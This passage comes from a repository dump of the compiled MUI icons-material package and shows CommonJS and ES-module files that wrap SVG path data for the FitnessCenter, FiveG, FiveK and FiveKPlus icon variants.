1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'FitbitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.57 14.86 22 13.43 20.57 12 17 15.57 8.43 7 12 3.43 10.57 2 9.14 3.43 7.71 2 5.57 4.14 4.14 2.71 2.71 4.14l1.43 1.43L2 7.71l1.43 1.43L2 10.57 3.43 12 7 8.43 15.57 17 12 20.57 13.43 22l1.43-1.43L16.29 22l2.14-2.14 1.43 1.43 1.43-1.43-1.43-1.43L22 16.29z\"\n}), 'FitnessCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.57 14.86 22 13.43 20.57 12 17 15.57 8.43 7 12 3.43 10.57 2 9.14 3.43 7.71 2 5.57 4.14 4.14 2.71 2.71 4.14l1.43 1.43L2 7.71l1.43 1.43L2 10.57 3.43 12 7 8.43 15.57 17 12 20.57 13.43 22l1.43-1.43L16.29 22l2.14-2.14 1.43 1.43 1.43-1.43-1.43-1.43L22 16.29z\"\n}), 'FitnessCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.57 14.86 22 13.43 20.57 12 17 15.57 8.43 7 12 3.43 10.57 2 9.14 3.43 7.71 2 5.57 4.14 4.14 2.71 2.71 4.14l1.43 1.43L2 7.71l1.43 1.43L2 10.57 3.43 12 7 8.43 15.57 17 12 20.57 13.43 22l1.43-1.43L16.29 22l2.14-2.14 1.43 1.43 1.43-1.43-1.43-1.43L22 16.29z\"\n}), 'FitnessCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.57 14.86 22 13.43 20.57 12 17 15.57 8.43 7 12 3.43 10.57 2 9.14 3.43 7.71 2 5.57 4.14 4.14 2.71 2.71 4.14l1.43 1.43L2 7.71l1.43 1.43L2 10.57 3.43 12 7 8.43 15.57 17 12 20.57 13.43 22l1.43-1.43L16.29 22l2.14-2.14 1.43 1.43 1.43-1.43-1.43-1.43L22 16.29z\"\n}), 'FitnessCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.57 14.86.72-.72c.39-.39.39-1.02 0-1.41l-.02-.02a.996.996 0 0 0-1.41 0L17 15.57 8.43 7l2.86-2.86c.39-.39.39-1.02 0-1.41l-.02-.02a.996.996 0 0 0-1.41 0l-.72.72-.72-.72c-.39-.39-1.03-.39-1.42 0L5.57 4.14l-.72-.72c-.39-.39-1.04-.39-1.43 0s-.39 1.04 0 1.43l.72.72L2.71 7c-.39.39-.39 1.02 0 1.41l.72.72-.72.73c-.39.39-.39 1.02 0 1.41l.02.02c.39.39 1.02.39 1.41 0L7 8.43 15.57 17l-2.86 2.86c-.39.39-.39 1.02 0 1.41l.02.02c.39.39 1.02.39 1.41 0l.72-.72.72.72c.39.39 1.02.39 1.41 0l1.43-1.43.72.72c.39.39 1.04.39 1.43 0s.39-1.04 0-1.43l-.72-.72L21.29 17c.39-.39.39-1.02 0-1.41z\"\n}), 'FitnessCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.57 14.86.72-.72c.39-.39.39-1.02 0-1.41l-.02-.02a.996.996 0 0 0-1.41 0L17 15.57 8.43 7l2.86-2.86c.39-.39.39-1.02 0-1.41l-.02-.02a.996.996 0 0 0-1.41 0l-.72.72-.72-.72c-.39-.39-1.03-.39-1.42 0L5.57 4.14l-.72-.72c-.39-.39-1.04-.39-1.43 0s-.39 1.04 0 1.43l.72.72L2.71 7c-.39.39-.39 1.02 0 1.41l.72.72-.72.73c-.39.39-.39 1.02 0 1.41l.02.02c.39.39 1.02.39 1.41 0L7 8.43 15.57 17l-2.86 2.86c-.39.39-.39 1.02 0 1.41l.02.02c.39.39 1.02.39 1.41 0l.72-.72.72.72c.39.39 1.02.39 1.41 0l1.43-1.43.72.72c.39.39 1.04.39 1.43 0s.39-1.04 0-1.43l-.72-.72L21.29 17c.39-.39.39-1.02 0-1.41z\"\n}), 'FitnessCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.57 14.86 22 13.43 20.57 12 17 15.57 8.43 7 12 3.43 10.57 2 9.14 3.43 7.71 2 5.57 4.14 4.14 2.71 2.71 4.14l1.43 1.43L2 7.71l1.43 1.43L2 10.57 3.43 12 7 8.43 15.57 17 12 20.57 13.43 22l1.43-1.43L16.29 22l2.14-2.14 1.43 1.43 1.43-1.43-1.43-1.43L22 16.29z\"\n}), 'FitnessCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.57 14.86 22 13.43 20.57 12 17 15.57 8.43 7 12 3.43 10.57 2 9.14 3.43 7.71 2 5.57 4.14 4.14 2.71 2.71 4.14l1.43 1.43L2 7.71l1.43 1.43L2 10.57 3.43 12 7 8.43 15.57 17 12 20.57 13.43 22l1.43-1.43L16.29 22l2.14-2.14 1.43 1.43 1.43-1.43-1.43-1.43L22 16.29z\"\n}), 'FitnessCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.57 14.86 22 13.43 20.57 12 17 15.57 8.43 7 12 3.43 10.57 2 9.14 3.43 7.71 2 5.57 4.14 4.14 2.71 2.71 4.14l1.43 1.43L2 7.71l1.43 1.43L2 10.57 3.43 12 7 8.43 15.57 17 12 20.57 13.43 22l1.43-1.43L16.29 22l2.14-2.14 1.43 1.43 1.43-1.43-1.43-1.43L22 16.29z\"\n}), 'FitnessCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitnessCenterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.57 14.86 22 13.43 20.57 12 17 15.57 8.43 7 12 3.43 10.57 2 9.14 3.43 7.71 2 5.57 4.14 4.14 2.71 2.71 4.14l1.43 1.43L2 7.71l1.43 1.43L2 10.57 3.43 12 7 8.43 15.57 17 12 20.57 13.43 22l1.43-1.43L16.29 22l2.14-2.14 1.43 1.43 1.43-1.43-1.43-1.43L22 16.29z\"\n}), 'FitnessCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveG.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13h2v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4h-4zM3 13h5v2H3v2h5c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H5V9h5V7H3z\"\n}), 'FiveG');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveG.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13h2v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4h-4zM3 13h5v2H3v2h5c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H5V9h5V7H3z\"\n}), 'FiveG');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveGOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 13H19v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4h-4.5zM3 13h5v2H3v2h5c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H5V9h5V7H3z\"\n}), 'FiveGOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveGOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 13H19v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4h-4.5zM3 13h5v2H3v2h5c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H5V9h5V7H3z\"\n}), 'FiveGOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveGRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h1v2h-5V9h6c.55 0 1-.45 1-1s-.45-1-1-1h-6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M4 13h4v2H4c-.55 0-1 .45-1 1s.45 1 1 1h4c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H5V9h4c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'FiveGRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveGRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h1v2h-5V9h6c.55 0 1-.45 1-1s-.45-1-1-1h-6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M4 13h4v2H4c-.55 0-1 .45-1 1s.45 1 1 1h4c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H5V9h4c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'FiveGRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveGSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13h2v2h-5V9h7V7h-9v10h9v-6h-4zM3 13h5v2H3v2h7v-6H5V9h5V7H3z\"\n}), 'FiveGSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveGSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13h2v2h-5V9h7V7h-9v10h9v-6h-4zM3 13h5v2H3v2h7v-6H5V9h5V7H3z\"\n}), 'FiveGSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveGTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 13H19v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4h-4.5zM3 13h5v2H3v2h5c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H5V9h5V7H3z\"\n}), 'FiveGTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveGTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 13H19v2h-5V9h7c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4h-4.5zM3 13h5v2H3v2h5c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H5V9h5V7H3z\"\n}), 'FiveGTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveK.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 7.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6.5v-1.5h3v-1h-3V9H11zm7 4.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'FiveK');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveK.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 7.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6.5v-1.5h3v-1h-3V9H11zm7 4.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'FiveK');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14v-1.5c0-.55-.45-1-1-1H8v-1h3V9H6.5v3.5h3v1h-3V15H10c.55 0 1-.45 1-1m3.5-1.25L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"1\")], 'FiveKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14v-1.5c0-.55-.45-1-1-1H8v-1h3V9H6.5v3.5h3v1h-3V15H10c.55 0 1-.45 1-1m3.5-1.25L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"1\")], 'FiveKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.5 7.5h-3v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5v-1.5h3v-1H5V9h4.5zM16 15h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'FiveKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.5 7.5h-3v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5v-1.5h3v-1H5V9h4.5zM16 15h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'FiveKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14v-1.5c0-.55-.45-1-1-1H7.5v-1H10V9H6v3.5h2.5v1H6V15h3c.55 0 1-.45 1-1m2.5-1.25L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"1\")], 'FiveKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14v-1.5c0-.55-.45-1-1-1H7.5v-1H10V9H6v3.5h2.5v1H6V15h3c.55 0 1-.45 1-1m2.5-1.25L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"1\")], 'FiveKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.75 7.5H7.5v1H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H8.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75m5.34 4.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.5l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12m3.91-2.5h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'FiveKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.75 7.5H7.5v1H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H8.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75m5.34 4.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.5l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12m3.91-2.5h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'FiveKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-11 7.5H7.5v1H10V15H6v-1.5h2.5v-1H6V9h4zm6 4.5h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'FiveKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlusSharp.mjs",
